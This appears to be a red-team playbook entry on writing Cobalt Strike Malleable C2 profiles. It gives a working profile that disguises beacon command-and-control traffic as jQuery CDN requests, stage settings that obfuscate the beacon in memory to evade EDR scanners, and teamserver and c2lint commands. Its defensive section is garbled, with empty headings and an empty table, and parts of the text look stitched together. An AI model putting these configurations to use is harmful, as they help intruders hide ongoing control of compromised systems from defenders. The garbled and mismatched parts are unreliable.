Cobalt Strike Malleable C2 Defense Evasion

When to Use

• During red team engagements where network egress filters and deep packet inspection (DPI) appliances intercept communication.
• To bypass threat intelligence feeds that target default Cobalt Strike beacon indicators (e.g., default checksums, empty HTTP headers, known User-Agents).

Prerequisites

• Active engagement with a defended target environment (EDR/AV present)
• Understanding of the target's security stack (Defender, CrowdStrike, Carbon Black, etc.)
• Payload development framework (msfvenom, Cobalt Strike, custom tooling)
• Test environment matching the target OS/EDR for pre-engagement validation

Workflow

Phase 1: Designing the Profile

Profiles define what the HTTP GET/POST requests and responses look like. They utilize blocks like http-get, http-post, and data manipulation functions (append, prepend, base64url).

# Concept: A snippet to masquerade as jQuery HTTP traffic set sample_name "jQuery Traffic";

http-get {
    set uri "/jquery-3.3.1.min.js";

    client {
        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
        header "Host" "code.jquery.com";
        
        metadata {
            base64url;
            prepend "__cfduid=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "application/javascript; charset=utf-8";

        output {
            base64url;
            prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */\n";
            append "\nfunction $(e){return new jQuery(e)}";
            print;
        }
    }
}

Phase 2: Obfuscating Beacon Payload in Memory

Malleable C2 profiles also govern how the payload behaves in host memory (stage 2). This is critical for evading EDR/AV memory scanners.

# stage {
    set userwx "false";          # Avoid RWX memory allocations (RWX is suspicious)
    set obfuscate "true";        # Obfuscate the core beacon DLL in memory
    set cleanup "true";          # Free memory associated with the reflective loader
    set magic_mz_x86 "OOPS";     # Alter the PE MZ header to break signature scanners
    
    transform-x86 {
        prepend "\x90\x90";      # NOP sled prefix
    }
}

Phase 3: Validation (C2lint)

Before restarting your Team Server, you MUST validate your profile syntax.

# ./c2lint profiles/jquery.profile

Ensure there are no errors and that the simulated traffic matches your intended design.

Phase 4: Implementation

Restart the Cobalt Strike team server pointing to the new profile.

# ./teamserver <IP> <Password> profiles/jquery.profile

Generate new executable beacon payloads (since memory evasion flags change compilation).

Decision Point 🔀

flowchart TD
    A[Analyze Target Network ] --> B[Draft Malleable Profile ]
    B --> C[Configure HTTP Blocks ]
    C --> D[Configure EDR Evasion ]
    D --> E[Validate via c2lint ]
    E --> F{Passes Validation? ]}
    F -->|Yes| G[Start Teamserver ]
    F -->|No| H[Debug Profile Syntax ]

🔵 Blue Team Detection & Defense

• SSL/TLS Interception (DPI): Memory Scanning via YARA: Beacon Jitter and Call Agent Analysis: Key Concepts | Concept | Description | |---------|-------------|

Output Format

Cobalt Strike Malleable C2 — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• Cobalt Strike Documentation: Malleable C2
• GitHub Malleable Profiles: rsmudge/Malleable-C2-Profiles